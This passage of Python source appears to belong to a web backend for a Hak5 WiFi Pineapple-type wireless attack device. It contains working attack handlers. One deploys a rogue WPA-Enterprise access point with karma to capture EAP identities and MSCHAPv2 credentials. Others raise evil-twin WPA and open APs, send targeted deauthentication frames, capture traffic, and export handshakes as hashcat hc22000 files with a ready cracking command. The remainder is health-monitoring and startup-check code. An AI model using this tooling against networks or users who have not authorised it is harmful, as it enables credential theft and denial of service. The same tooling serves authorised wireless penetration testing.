try:
if os.path.islink(dst) or os.path.exists(dst):
os.unlink(dst)
os.symlink(src, dst)
return True
except OSError:
return False
def _unlink_ent_ctrl():
path = os.path.join(STOCK_HOSTAPD_CTRL, ENT_IFACE)
try:
if os.path.islink(path) or os.path.exists(path):
os.unlink(path)
except OSError:
pass
def _ent_conf_text(ssid, channel, hidden, pmf, skip_keys=None):
"""Build a hostapd conf that this Pager firmware will actually parse."""
skip = set(ENT_HOSTAPD_UNSUPPORTED)
if skip_keys:
skip.update(skip_keys)
ssid = re.sub(r'[\r\n]', '', ssid or '')
pairs = [
('interface', ENT_IFACE),
('driver', 'nl80211'),
('ssid', ssid),
('hw_mode', 'a'),
('channel', str(int(channel))),
('country_code', 'US'),
('ieee80211d', '1'),
('ieee80211n', '1'),
('ht_capab', '[SHORT-GI-20][SHORT-GI-40]'),
('beacon_int', '100'),
('auth_algs', '1'),
('ieee8021x', '1'),
('eap_server', '1'),
('eap_user_file', ENT_EAP_USERS),
('ca_cert', ENT_CA_CERT),
('server_cert', ENT_SERVER_CERT),
('private_key', ENT_SERVER_KEY),
('wpa', '2'),
('wpa_key_mgmt', 'WPA-EAP'),
('wpa_pairwise', 'CCMP'),
('rsn_pairwise', 'CCMP'),
('ieee80211w', str(int(pmf))),
('wpa_disable_eapol_key_retries', '0'),
('ignore_broadcast_ssid', '1' if hidden else '0'),
('logger_stdout', '-1'),
('logger_stdout_level', '0'),
('logger_syslog', '-1'),
('logger_syslog_level', '0'),
('ctrl_interface', ENT_CTRL_DIR),
]
return ''.join('%s=%s\n' % (k, v) for k, v in pairs if k not in skip)
def _hostapd_unknown_items(text):
return re.findall(r"unknown configuration item '([^']+)'", text or '')
def _drop_hostapd_keys(conf, keys):
drop = set(keys or ())
if not drop:
return conf, False
kept = []
changed = False
for line in (conf or '').splitlines():
raw = line.strip()
if raw and not raw.startswith('#') and '=' in raw:
key = raw.split('=', 1)[0].strip()
if key in drop:
changed = True
continue
kept.append(line)
return ('\n'.join(kept) + ('\n' if kept else '')), changed
def _hostapd_failure_text(out, err):
parts = [err or '', out or '']
try:
with open(ENT_LOG) as f:
parts.append(f.read()[-4000:])
except OSError:
pass
return '\n'.join(p for p in parts if p).strip()
def _start_ent_hostapd():
"""Start hostapd, dropping keys this firmware does not understand."""
last = (1, '', '')
for _ in range(5):
rc, out, err = device_run(
['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, '-f', ENT_LOG, ENT_CONF],
timeout=25)
combined = '%s\n%s' % (err or '', out or '')
if rc != 0 and re.search(r'invalid option|unrecognized option|unknown option', combined, re.I):
rc, out, err = device_run(
['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF], timeout=25)
combined = '%s\n%s' % (err or '', out or '')
last = (rc, out, err)
if rc == 0:
return rc, out, err
unknown = _hostapd_unknown_items(_hostapd_failure_text(out, err))
if not unknown:
return rc, out, err
try:
with open(ENT_CONF) as f:
conf = f.read()
except OSError:
return rc, out, err
new_conf, changed = _drop_hostapd_keys(conf, unknown)
if not changed:
return rc, out, err
try:
with open(ENT_CONF, 'w') as f:
f.write(new_conf)
except OSError:
return rc, out, err
return last
def _ent_stations():
if not _ent_running():
return []
rc, out = _ent_ctrl('list_sta')
if rc != 0 or not out:
return []
return [line.strip().upper() for line in out.splitlines()
if re.match(r'^[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}$', line.strip())]
def _deploy_enterprise(fields):
ssid = (fields.get('ssid') or '').strip()
if not ssid:
raise ValueError('SSID is required')
enctype = fields.get('enctype') or fields.get('encryption') or 'wpa2'
if enctype not in ('wpa2', 'wpa3'):
raise ValueError('enterprise encryption must be wpa2 or wpa3')
method = (fields.get('auth_method') or fields.get('eap_method') or 'any').strip().lower()
if method not in ('any', 'mschapv2', 'gtc'):
method = 'any'
ch = fields.get('channel')
if ch is None:
ch = _best_channel_for(ssid)
if ch is None or channel_band(ch) != BAND_5G:
ch = 36
else:
ch = int(ch)
if channel_band(ch) != BAND_5G:
raise ValueError('enterprise AP runs on 5 GHz (36-177)')
# Radio0 karma surface is shared: stop 2.4 GHz WPA/Open attacks first.
for name in ('wlan0wpa', 'wlan0open'):
cfg = _uci_wifi_iface(name)
if cfg and cfg.get('disabled') == '0':
_set_uci('%s.disabled' % name, '1')
device_run(['uci', 'commit', 'wireless'])
device_run(['wifi', 'reload'])
_disable_enterprise_ap()
# The stock daemon's enterprise config generation is broken on this
# firmware (emits eap_server_erp, which hostapd rejects), so the
# enterprise AP runs on its own karma+PineAPE hostapd instance on phy1,
# outside the daemon's interface set. Credentials still flow into
# recon.db (hostap_basic / hostap_chalresp) via the pineapd socket.
rc, out, err = device_run(['iw', 'phy', 'phy1', 'interface', 'add',
ENT_IFACE, 'type', 'managed'], timeout=15)
if rc != 0:
raise RuntimeError('could not create %s on phy1: %s' % (ENT_IFACE, (err or out).strip()))
device_run(['iw', 'dev', ENT_IFACE, 'set', 'type', 'ap'])
device_run(['ip', 'link', 'set', ENT_IFACE, 'up'])
try:
_mkdir(ENT_DIR)
if not _ensure_ent_certs():
raise RuntimeError(
'could not install EAP TLS certificates (PEAP/TTLS cannot capture without them)')
secret = _eap_secret(fields.get('passphrase') or fields.get('password') or '')
with open(ENT_EAP_USERS, 'w') as f:
f.write(_eap_users_text(secret, method))
hidden = bool(fields.get('hidden'))
# Optional PMF (ieee80211w=1) makes some PEAP clients refuse to start
# EAP. WPA2 capture APs stay more compatible with PMF off; WPA3 requires it.
pmf = 2 if enctype == 'wpa3' else 0
with open(ENT_CONF, 'w') as f:
f.write(_ent_conf_text(ssid, ch, hidden, pmf))
except OSError as exc:
raise RuntimeError('could not write enterprise config: %s' % exc)
# Tell the karma build which iface is the management (enterprise) AP and
# make karma respond to any SSID (deny mode = allow by default).
device_run(['uci', 'set', 'pineapd.@hostapd[0].mgmtiface=%s' % ENT_IFACE])
device_run(['uci', 'set', 'pineapd.@ssid_filter[0].mode=deny'])
device_run(['uci', 'set', 'pineapd.@mac_filter[0].mode=deny'])
device_run(['uci', 'commit', 'pineapd'])
_allow_all_ssids()
_pause_hop()
# The daemon's wireless reconciliation races standalone iface creation;
# retry through a few quiet windows before giving up.
verified = False
last_err = ''
for attempt in range(3):
rc, out, err = _start_ent_hostapd()
if rc == 0:
deadline = time.time() + 12
while time.time() < deadline:
rc2, out2 = _ent_ctrl('status')
if 'state=ENABLED' in (out2 or ''):
verified = True
break
time.sleep(2)
if verified:
break
last_err = _hostapd_failure_text(out, err)[-800:]
_disable_enterprise_ap()
if attempt < 2:
time.sleep(5)
rc, out, err = device_run(['iw', 'phy', 'phy1', 'interface', 'add',
ENT_IFACE, 'type', 'managed'], timeout=15)
if rc == 0:
device_run(['iw', 'dev', ENT_IFACE, 'set', 'type', 'ap'])
device_run(['ip', 'link', 'set', ENT_IFACE, 'up'])
if not verified:
raise RuntimeError('hostapd failed to start for enterprise AP: %s' % last_err)
ctrl = {
'pineap_enable': _ent_ctrl('pineap_enable')[0],
'pineape_enable': _ent_ctrl('pineape_enable')[0],
'pineape_auth_enable': _ent_ctrl('pineape_auth_enable')[0],
}
linked = _link_ent_ctrl()
device_run(['/etc/init.d/pineapd', 'reload'], timeout=20)
try:
with open(ENT_STATE, 'w') as f:
json.dump({
'ssid': ssid, 'enctype': enctype, 'hidden': bool(fields.get('hidden')),
'passphrase': secret, 'channel': int(ch), 'auth_method': method,
'started': int(time.time()), 'ctrl': ctrl, 'ctrl_linked': linked,
'certs': True,
}, f)
except OSError:
pass
return {'kind': 'enterprise', 'ssid': ssid, 'iface': ENT_IFACE,
'band': BAND_5G, 'channel': int(ch), 'verified': verified,
'auth_method': method, 'ctrl_linked': linked, 'ctrl': ctrl}
def _ent_summary(detail=True):
st = _ent_state_loaded()
running = _ent_running()
live = False
if running:
rc, out = _ent_ctrl('status', timeout=3)
live = 'state=ENABLED' in (out or '')
summary = {
'enabled': running,
'live': live,
'ssid': st.get('ssid') or '',
'enctype': st.get('enctype') or 'wpa2',
'band': BAND_5G,
'channel': st.get('channel', 36),
'iface': ENT_IFACE,
'started': st.get('started'),
'hidden': bool(st.get('hidden')),
'stations': [],
'auth_method': st.get('auth_method') or 'any',
'certs': bool(st.get('certs')),
'ctrl_linked': bool(st.get('ctrl_linked')),
'captures': 0,
}
if detail:
summary['stations'] = _ent_stations() if running else []
summary['captures'] = len(_load_ent_captures())
return summary
def _enterprise_boot_recover():
"""Re-deploy the enterprise AP after a Mark VIII restart."""
st = _ent_state_loaded()
if not st.get('ssid'):
return
try:
_deploy_enterprise(st)
except RuntimeError as exc:
try:
os.unlink(ENT_STATE)
except OSError:
pass
def h_attacks_deploy(ctx):
import mk8_gate
import mk8_rfplan
mk8_gate.enter('attack_deploy')
# Exclusivity: tear an active uplink down before deploying attack APs.
try:
mk8_rfplan.ensure_attack()
except Exception:
pass
body = ctx.body or {}
kind = (body.get('kind') or '').strip().lower()
if kind not in ('wpa', 'open', 'enterprise'):
return 400, {'error': 'kind must be wpa, open or enterprise'}
try:
if kind == 'enterprise':
result = _deploy_enterprise(body)
else:
result = _deploy_wpa_open(kind, body)
except ValueError as exc:
return 400, {'error': str(exc)}
except RuntimeError as exc:
return 502, {'error': str(exc)}
update_pineap_state(mode='advanced', enabled=True, karma=True,
collect=True)
result['ok'] = True
return 200, result
def _uci_ap_summary(name, radio_name):
cfg = _uci_wifi_iface(name) or {}
if not cfg:
return None
return {
'enabled': cfg.get('disabled') == '0',
'live': _iface_live(name),
'ssid': cfg.get('ssid') or '',
'band': _radio_dict(radio_name).get('band'),
'channel': _ap_iface_dict(cfg, _uci_wifi_iface(radio_name)).get('channel'),
'iface': name,
}
def _count_table(table):
if not re.match(r'^[A-Za-z0-9_]+$', table or ''):
return 0
try:
rows = _db_rows(RECON_DB, 'SELECT COUNT(*) AS n FROM %s' % table, timeout=4)
if rows:
return int(rows[0].get('n') or 0)
except (RuntimeError, TypeError, ValueError, IndexError):
return 0
return 0
def h_attacks_status(ctx):
handshakes = _count_table('hostap_handshake')
identities = _count_table('hostap_basic')
mschapv2 = _count_table('hostap_chalresp')
creds = identities + mschapv2
summary = _ent_summary()
_, hostapd = daemon_sock_call('GET', '/api/pineap/hostapd/get_config', timeout=4)
pineape_on = not bool((hostapd or {}).get('pineape_disabled', True))
enterprise = {
'ap': summary,
'pineape': {'enabled': pineape_on},
'creds': creds,
'identities': identities,
'mschapv2': mschapv2,
'stations': summary.get('stations') or [],
'auth_method': summary.get('auth_method') or 'any',
'certs': bool(summary.get('certs')),
'captures': summary.get('captures') or 0,
'ctrl_linked': bool(summary.get('ctrl_linked')),
}
return 200, {
'wpa': {
'radio0': _uci_ap_summary('wlan0wpa', 'radio0'),
'radio1': _uci_ap_summary('wlan1wpa', 'radio1'),
},
'open': {
'radio0': _uci_ap_summary('wlan0open', 'radio0'),
'radio1': _uci_ap_summary('wlan1open', 'radio1'),
},
'enterprise': enterprise,
'handshakes': handshakes,
'hop': {'wlan1mon': _read_hop()},
}
def _radio1_ap_active():
for name in ('wlan1wpa', 'wlan1open'):
cfg = _uci_wifi_iface(name)
if cfg and cfg.get('disabled') == '0':
return True
return False
def h_attacks_stop(ctx):
import mk8_gate
mk8_gate.enter('attack_stop')
kind = ((ctx.body or {}).get('kind') or '')
stopped = []
if kind in ('wpa', 'open'):
if kind == 'wpa':
names = ('wlan0wpa', 'wlan1wpa')
else:
names = ('wlan0open', 'wlan1open')
for name in names:
cfg = _uci_wifi_iface(name)
if cfg and cfg.get('disabled') == '0':
_set_uci('%s.disabled' % name, '1')
stopped.append(name)
elif kind == 'enterprise':
if _ent_running() or os.path.exists(ENT_STATE):
_disable_enterprise_ap()
stopped.append(ENT_IFACE)
else:
return 400, {'error': 'kind must be wpa, open or enterprise'}
if stopped:
device_run(['uci', 'commit', 'wireless'])
device_run(['wifi', 'reload'])
# Leave hop alone if a radio1 AP is still active.
if not _radio1_ap_active():
_resume_hop()
return 200, {'ok': True, 'stopped': stopped}
def h_attacks_capture(ctx):
body = ctx.body or {}
action = body.get('action') or 'status'
iface = body.get('iface') or 'wlan0mon'
if iface not in ('wlan0mon', 'wlan1mon'):
return 400, {'error': 'iface must be wlan0mon or wlan1mon'}
pidfile = '/tmp/mk8_capture_%s.pid' % iface
capdir = '/root/loot/pcap'
if action == 'start':
try:
with open(pidfile) as f:
old = int(f.read().strip())
if os.path.exists('/proc/%d' % old):
return 200, {'running': True, 'pid': old, 'iface': iface}
except (OSError, ValueError):
pass
path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time()))
rc, out, err = device_run(
['sh', '-c',
'setsid tcpdump -i %s -s 3000 -w %s >/dev/null 2>&1 & echo $! > %s'
% (iface, path, pidfile)], timeout=10)
try:
with open(pidfile) as f:
pid = int(f.read().strip())
except (OSError, ValueError):
pid = None
if rc != 0 or pid is None or not os.path.exists('/proc/%d' % pid):
return 502, {'error': 'tcpdump failed to start', 'detail': (err or out)[-300:]}
return 200, {'running': True, 'pid': pid, 'path': path, 'iface': iface}
if action == 'stop':
try:
with open(pidfile) as f:
old = int(f.read().strip())
device_run(['kill', str(old)], timeout=10)
try:
os.unlink(pidfile)
except OSError:
pass
return 200, {'running': False, 'stopped': old}
except (OSError, ValueError):
return 200, {'running': False, 'stopped': None}
# status
running = False
try:
with open(pidfile) as f:
old = int(f.read().strip())
running = os.path.exists('/proc/%d' % old)
except (OSError, ValueError):
pass
return 200, {'running': running, 'iface': iface}
def h_attacks_export_hc22000(ctx):
"""Convert captured pcaps into a hashcat-ready .hc22000 file."""
outdir = '/root/loot/hc22000'
device_run(['mkdir', '-p', outdir])
sources = []
for d in ('/root/loot/handshakes', '/root/loot/pcap'):
rc, out, err = device_run(['ls', d])
for line in out.splitlines():
line = line.strip()
if line.endswith(('.pcap', '.cap', '.pcapng')):
sources.append(os.path.join(d, line))
if not sources:
return 404, {'error': 'no capture files found under /root/loot'}
outname = 'handshakes_%d.hc22000' % int(time.time())
outpath = os.path.join(outdir, outname)
rc, out, err = device_run(['hcxpcapngtool', '-o', outpath] + sources, timeout=120)
if rc != 0 or not os.path.exists(outpath):
return 502, {'error': 'hcxpcapngtool failed', 'detail': (err or out)[-500:]}
size = os.path.getsize(outpath)
return 200, {'file': outpath, 'name': outname, 'size': size,
'hashcat': 'hashcat -m 22000 %s -a 0 wordlist.txt' % outname}
def h_attacks_download_hc22000(ctx):
name = _unquote_plus(ctx.args[0])
if not re.match(r'^handshakes_\d+\.hc22000$', name):
return 400, {'error': 'invalid name'}
full = os.path.join('/root/loot/hc22000', name)
if not os.path.isfile(full):
return 404, {'error': 'not found'}
with open(full, 'rb') as f:
body = f.read()
return 200, Download(body, 'application/octet-stream', name)
def h_attacks_deauth(ctx):
body = ctx.body or {}
bssid = (body.get('bssid') or '').strip().upper()
client = (body.get('client') or '').strip().upper()
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', bssid):
return 400, {'error': 'invalid AP MAC'}
if not re.match(r'^[0-9A-F]{2}(?::[0-9A-F]{2}){5}$', client):
return 400, {'error': 'invalid client MAC'}
channel = body.get('channel')
try:
channel = int(channel) if channel is not None else None
except (TypeError, ValueError):
return 400, {'error': 'invalid channel'}
band = _band_of_channel(channel) if channel is not None else None
inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon'
if inject != 'wlan1mon':
_pineap('INTERFACE', 'INJECT', inject)
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client,
str(channel or 1)], timeout=30)
if rc != 0:
return 502, {'error': 'deauth failed', 'detail': err or out}
return 200, {'ok': True, 'bssid': bssid, 'client': client,
'channel': channel, 'inject': inject}
def _pineap(*args, timeout=30):
with _pineapd_cmd_lock:
rc, out, err = device_run(['_pineap'] + list(args), timeout=timeout)
return rc, out, err
# --------------------------------------------------------------------------
# Health monitor: keep pineapd alive and the monitor radios up. On this
# firmware the stock UI owns PineAP UCI; Mark VIII must not disable the
# SSID pool or rewrite hopping just because pineapd restarted.
# --------------------------------------------------------------------------
HEALTH_POLL_SECONDS = 15
HEALTH_FIX_COOLDOWN = 20.0
HEALTH_STOP = threading.Event()
_health = {
'sigsegv_last': None,
'last_fix': 0.0,
'fixes': 0,
'last_action': None,
'pineap_up': False,
}
def _sigsegv_count():
rc, out, err = device_run(['logread', '-l', '200'], timeout=4)
return (out or '').count('SIGSEGV')
PINEAPD_SAFE_UCI = {
'pineapd.@ssidpool[0].disable': '1',
'pineapd.wlan2mon.disable': '1',
'pineapd.wlan2mon.hop': '0',
'pineapd.wlan1mon.bands': '5',
'pineapd.wlan0mon.bands': '2',
'pineapd.wlan1mon.hop': '0',
}
PINEAPD_RUNTIME_UCI = {
key for key in PINEAPD_SAFE_UCI if '.wlan' in key
}
PINEAPD_RUNTIME_UCI.add('pineapd.@ssidpool[0].disable')
def _apply_uci_wanted(wanted):
"""Idempotently apply a wanted UCI key/value set. Returns changed keys."""
actions = []
for key, value in wanted.items():
rc, out, err = device_run(['uci', 'get', key])
if rc != 0 or out.strip() != value:
device_run(['uci', 'set', '%s=%s' % (key, value)])
actions.append(key)
return actions
def _pending_uci(wanted):
pending = []
for key, value in wanted.items():
rc, out, err = device_run(['uci', 'get', key])
if rc != 0 or out.strip() != value:
pending.append(key)
return pending
def _stabilize_uci(clear_pool=False):
"""Optional sane-off UCI pass. Never used on a healthy pineapd — rewriting
live PineAP settings (pool broadcast, hopping, SSID list) is what bricks
the stock UI and forces a factory reset. The SSID list is preserved
unless a caller opts in with clear_pool=True."""
actions = _apply_uci_wanted(PINEAPD_SAFE_UCI)
if clear_pool:
rc, out, err = device_run(['uci', 'get', 'pineapd.@ssidpool[0].ssid'])
if rc == 0 and out.strip():
device_run(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'])
actions.append('pool-list cleared')
if actions:
device_run(['uci', 'commit', 'pineapd'])
return actions
def _stabilize_pineapd():
"""Manual crash-source pass. Not invoked by env_check or the health
monitor: those must not rewrite a live PineAP configuration."""
actions = _stabilize_uci(clear_pool=False)
if actions:
return 'stabilized: ' + ', '.join(actions)
return 'pineapd restart'
def _iface_up(name):
"""True when the interface's admin flags contain UP. Monitor interfaces
report operstate 'unknown' even when usable, so parse `ip link` flags."""
rc, out, err = device_run(['ip', 'link', 'show', name], timeout=10)
if rc != 0:
return False
m = re.search(r'<([^>]+)>', out or '')
if not m:
return False
return 'UP' in m.group(1).split(',')
def _monitor_down(name):
return not _iface_up(name)
def _mem_percent(path='/proc/meminfo'):
try:
vals = {}
with open(path) as f:
for line in f:
k, v = line.split(':')
vals[k] = int(v.strip().split()[0])
total = vals.get('MemTotal', 0)
avail = vals.get('MemAvailable', vals.get('MemFree', 0))
return round(100.0 * (total - avail) / total) if total else 0
except (OSError, ValueError):
return 0
MEM_WARN_PERCENT = 85
MEM_WARN_STREAK = 5
def health_check():
"""One health pass. Returns the health dict. Fix actions are
rate-limited by HEALTH_FIX_COOLDOWN.
The check is PASSIVE (pidof) — actively pinging pineapd's command
socket every 15s collides with the stock daemon's own socket writes
('[PineAp] Error writing' -> daemon watchdog SIGTERMs pineapd).
"""
import mk8_events
h = _health
rc, out, err = device_run(['pidof', 'pineapd'], timeout=10)
h['pineap_up'] = rc == 0 and bool((out or '').strip())
if not h['pineap_up']:
now = time.time()
if now - h['last_fix'] < HEALTH_FIX_COOLDOWN:
return dict(h)
# Restart pineapd and repair monitors. Do not rewrite UCI: disabling
# the SSID pool or clearing collected SSIDs is user-visible data loss
# and is the class of change that has required factory resets.
if _monitor_down('wlan1mon') or _monitor_down('wlan0mon'):
_bring_monitors_up(h)
else:
h['last_action'] = 'pineapd restart'
device_run(['/etc/init.d/pineapd', 'restart'], timeout=30)
h['sigsegv_last'] = _sigsegv_count()
h['last_fix'] = now
h['fixes'] += 1
mk8_events.log_event('restart', msg='pineapd restarted by health monitor')
return dict(h)
# pineapd is healthy, but wifi reloads still drop the monitors (pineapd
# does not bring secondary monitors back). Repair them without cooldown.
if _monitor_down('wlan1mon') or _monitor_down('wlan0mon'):
_bring_monitors_up(h)
h['mem_percent'] = _mem_percent()
if h['mem_percent'] >= MEM_WARN_PERCENT:
h['mem_streak'] = h.get('mem_streak', 0) + 1
else:
h['mem_streak'] = 0
if h['mem_streak'] == MEM_WARN_STREAK:
mk8_events.log_event('mem_warn', sev='warn',
msg='memory above %d%% sustained' % MEM_WARN_PERCENT)
return dict(h)
def _raise_monitors():
"""Bring down monitor interfaces up and return those verified up."""
raised = []
for name in ('wlan1mon', 'wlan0mon'):
if _monitor_down(name):
rc, out, err = device_run(
['ip', 'link', 'set', name, 'up'], timeout=10)
if rc == 0 and not _monitor_down(name):
raised.append(name)
return raised
def _bring_monitors_up(h):
raised = _raise_monitors()
unavailable = [
name for name in ('wlan0mon', 'wlan1mon') if _monitor_down(name)]
if unavailable:
h['last_action'] = 'monitor repair failed: ' + ', '.join(unavailable)
else:
h['last_action'] = 'monitor interfaces brought up'
if raised:
h['monitor_fixes'] = h.get('monitor_fixes', 0) + len(raised)
def h_health(ctx):
import mk8_events
import mk8_guard
h = dict(_health)
h['sigsegv_count'] = h.pop('sigsegv_last')
h['pool_disabled'] = _uci_section('pineapd.@ssidpool[0]').get('disable') == '1'
h['wlan1mon_up'] = not _monitor_down('wlan1mon')
h['wlan0mon_up'] = not _monitor_down('wlan0mon')
h['pool_runtime'] = ENV_CHECK_STATE.get('pool_runtime')
if ENV_CHECK_STATE.get('report'):
h['env'] = {
'overall': ENV_CHECK_STATE['overall'],
'updated': ENV_CHECK_STATE['updated'],
'counts': {k: _env_count(ENV_CHECK_STATE['report'], k)
for k in ('pass', 'fixed', 'warn', 'fail')},
'steps': ENV_CHECK_STATE['report'],
}
h['reliability'] = mk8_events.counters()
h['events'] = mk8_events.read_events(limit=20)
h['guard'] = mk8_guard.guard_report()
return 200, h
def _health_loop():
while not HEALTH_STOP.is_set():
try:
health_check()
except Exception:
pass
HEALTH_STOP.wait(HEALTH_POLL_SECONDS)
def start_health_monitor():
threading.Thread(target=_health_loop, daemon=True).start()
# --------------------------------------------------------------------------
# RF role manager: radio1 shared between uplink STA and attack work.
# --------------------------------------------------------------------------
def h_rfplan_get(ctx):
import mk8_rfplan
return 200, {'role': mk8_rfplan.current_role(),
'assoc': mk8_rfplan.associated(),
'hop_paused': mk8_rfplan.hop_paused()}
def h_rfplan_post(ctx):
import mk8_gate
import mk8_events
import mk8_rfplan
body = ctx.body or {}
role = (body.get('role') or '').strip().lower()
if role not in ('uplink', 'attack', 'idle'):
return 400, {'error': 'role must be uplink, attack or idle'}
mk8_gate.enter('rfplan_' + role)
try:
result = mk8_rfplan.set_role(
role,
ssid=(body.get('ssid') or '').strip() or None,
psk=(body.get('psk') or '').strip() or None)
except Exception as exc:
result = {'ok': False, 'error': str(exc)}
ok = bool(result.get('ok'))
try:
mk8_events.log_event('rfplan', sev='info' if ok else 'warn',
msg='rfplan role %s %s'
% (role, 'applied' if ok else 'failed'),
meta=result)
except Exception:
pass
return (200, result) if ok else (502, result)
# --------------------------------------------------------------------------
# Startup environment check: run once at service startup (and via
# ``server.py --env-check`` on the payload screen) to make the device match
# the UI before the user interacts with it.
# --------------------------------------------------------------------------
ENV_CHECK_STATE = {'report': None, 'overall': None, 'updated': 0, 'pool_runtime': None}
STARTUP_CHECK_ATTEMPTS = 6
STARTUP_CHECK_DELAY = 5
def _env_step(report, ok, detail, action=None):
step = {'ok': ok, 'detail': detail}
if action:
step['action'] = action
report.append(step)
def _env_overall(report):
if any(r['ok'] == 'fail' for r in report):
return 'fail'
if any(r['ok'] == 'fixed' for r in report):
return 'fixed'
if any(r['ok'] == 'warn' for r in report):
return 'warn'
return 'pass'
def _env_count(report, kind):
return sum(1 for r in report if r['ok'] == kind)
def _pineapd_alive():
rc, out, err = device_run(['pidof', 'pineapd'], timeout=10)
return rc == 0 and bool((out or '').strip())
def _daemon_alive():
"""Passive stock-daemon readiness check.
Even a config GET makes the stock daemon write to pineapd's command
socket on this firmware, which can trigger its watchdog. Process state is
the safe startup contract; functional API calls report their own failures.
"""
rc, out, err = device_run(['pidof', 'pineapple'], timeout=10)
return rc == 0 and bool((out or '').strip())
def _sync_pool_runtime():
"""Report pool-broadcast UCI without writing pineapd's socket or UCI.
Mark VIII must not flip broadcast or rewrite the SSID list on a live
pager; those writes race the stock daemon and destroy collected SSIDs.
"""
pool = _uci_section('pineapd.@ssidpool[0]')
if pool.get('disable') == '1':
return 'disabled', 'SSID-pool broadcast disabled by active configuration'
return 'unknown', 'SSID-pool disable setting is not active'
def _wlan0_pinned():
"""True when a radio0 AP (OpenAP/Evil WPA) is enabled. A phy's channel is
held by its AP interface, so an enabled radio0 AP pins wlan0mon to one
2.4GHz channel and 2.4GHz recon results are under-sampled."""
for name in ('wlan0open', 'wlan0wpa'):
cfg = _uci_wifi_iface(name) or {}
if cfg and cfg.get('disabled') != '1':
return True
return False
def _sta_uplink_enabled():
"""True when the stock dummy_radio0 STA client interface is enabled. The
STA holds phy0's channel, which pins wlan0mon and starves 2.4GHz recon
entirely (iw set channel fails with Resource busy while it is up)."""
cfg = _uci_values('wireless.dummy_radio0') or {}
return cfg.get('mode') == 'sta' and cfg.get('disabled') != '1'
def _disable_sta_uplink():
"""Disable the dummy_radio0 STA without bouncing the radios. The UCI flag
keeps it off across reboots/wifi reloads; taking wlan0 down immediately
frees phy0's channel for wlan0mon. Never runs `wifi reload` here — that
tears down live APs and drops the monitors mid-assessment."""
import mk8_gate
mk8_gate.enter('uplink_disable')
device_run(['uci', 'set', 'wireless.dummy_radio0.disabled=1'])
device_run(['uci', 'commit', 'wireless'])
for iface in ('wlan0',):
rc, out, err = device_run(['ip', 'link', 'set', iface, 'down'], timeout=10)
def env_check():
"""Full environment pass, run at service startup and via
``server.py --env-check``. Verifies core dependencies and repairs
monitors. Does **not** rewrite live PineAP or wireless UCI — doing so
(SSID pool, hopping, dummy_radio0) is what has forced factory resets.
Core dependencies (daemon, pineapd, monitors, recon DB) can fail."""
report = []
if not _daemon_alive():
_env_step(report, 'fail', 'daemon unreachable (process not running)')
else:
_env_step(report, 'pass', 'daemon reachable')
pineap_was_alive = _pineapd_alive()
pending = _pending_uci(PINEAPD_SAFE_UCI)
if not pineap_was_alive:
device_run(['/etc/init.d/pineapd', 'restart'], timeout=30)
if _pineapd_alive():
_env_step(report, 'fixed', 'pineapd was down; pineapd restarted')
else:
_env_step(report, 'fail', 'pineapd did not come back after restart')
else:
_env_step(report, 'pass', 'pineapd running')
if pending:
_env_step(
report, 'warn',
'live PineAP UCI left unchanged (sane-off defaults not applied on a running pineapd)',
', '.join(pending))
else:
_env_step(report, 'pass', 'pineapd sane-off UCI defaults already set')
pool_runtime, pool_detail = _sync_pool_runtime()
ENV_CHECK_STATE['pool_runtime'] = pool_runtime
if pool_runtime == 'disabled':
_env_step(report, 'pass', 'SSID-pool broadcast off (runtime)')
else:
_env_step(report, 'warn', pool_detail)
if _sta_uplink_enabled():
_env_step(report, 'warn',
'dummy_radio0 STA uplink is enabled and pins phy0; '
'recon parks wlan0 during scans (UCI left unchanged)')
else:
_env_step(report, 'pass', 'no STA uplink pinning phy0')
monitors_before = [
name for name in ('wlan0mon', 'wlan1mon') if _monitor_down(name)]
raised = _raise_monitors()
monitors_down = [
name for name in ('wlan0mon', 'wlan1mon') if _monitor_down(name)]
if monitors_down:
_env_step(report, 'fail', 'monitor interfaces unavailable after repair: %s' %
', '.join(monitors_down))
elif monitors_before:
_env_step(report, 'fixed', 'monitor interfaces brought up', ', '.join(raised))
else:
_env_step(report, 'pass', 'monitors up (wlan0mon, wlan1mon)')
try:
rows = _db_rows(RECON_DB, 'SELECT count(*) AS c FROM scan', timeout=15)
count = rows[0]['c'] if rows else 0
_env_step(report, 'pass', 'recon DB readable (%d scans)' % count)
except RuntimeError as exc:
_env_step(report, 'fail', 'recon DB unreadable: %s' % exc)
if _wlan0_pinned():
_env_step(report, 'warn', '2.4GHz under-sampled: a radio0 AP is up and pins '
'wlan0mon to one channel during scans')
else:
_env_step(report, 'pass', 'no radio0 AP pins wlan0mon')
ENV_CHECK_STATE['report'] = report
ENV_CHECK_STATE['overall'] = _env_overall(report)
ENV_CHECK_STATE['updated'] = time.time()
return report
BOOT_MARKER = '/mmc/mk8/boot.marker'
def check_boot_marker():
import os, mk8_events
try:
unexpected = os.path.exists(BOOT_MARKER)
mk8_events.mark_boot(unexpected=unexpected)
with open(BOOT_MARKER, 'w') as f:
f.write(str(int(time.time())))
return unexpected
except OSError:
return False
def startup_env_check(attempts=STARTUP_CHECK_ATTEMPTS,
delay=STARTUP_CHECK_DELAY):
"""Run and print the startup contract, allowing boot dependencies time.
A failed core dependency must prevent the HTTP server from presenting a
healthy-looking UI. procd can then respawn it instead of leaving a broken
process bound to the port.
"""
last_report = []
for attempt in range(1, attempts + 1):
try:
last_report = env_check()
except Exception as exc:
last_report = []
ENV_CHECK_STATE['overall'] = 'fail'
print('[FAIL] environment check raised: %s' % exc, flush=True)
_print_env_report(last_report, flush=True)
if ENV_CHECK_STATE.get('overall') != 'fail':
print('ENVIRONMENT CHECK: %s' %
ENV_CHECK_STATE['overall'].upper(), flush=True)
try:
check_boot_marker()
except Exception:
pass
return last_report
if attempt < attempts:
print('ENVIRONMENT CHECK: FAIL; retry %d/%d in %ds' %
(attempt + 1, attempts, delay), flush=True)
if LIVE_STOP.wait(delay):
raise RuntimeError('startup environment check interrupted')
raise RuntimeError('startup environment check failed after %d attempts' %
attempts)
def h_attacks_clients(ctx):
"""Clients (recon devices) plus the APs matching an SSID, for targeting."""
ssid = ((ctx.query or {}).get('ssid') or '').strip()
result = {'aps': [], 'clients': []}
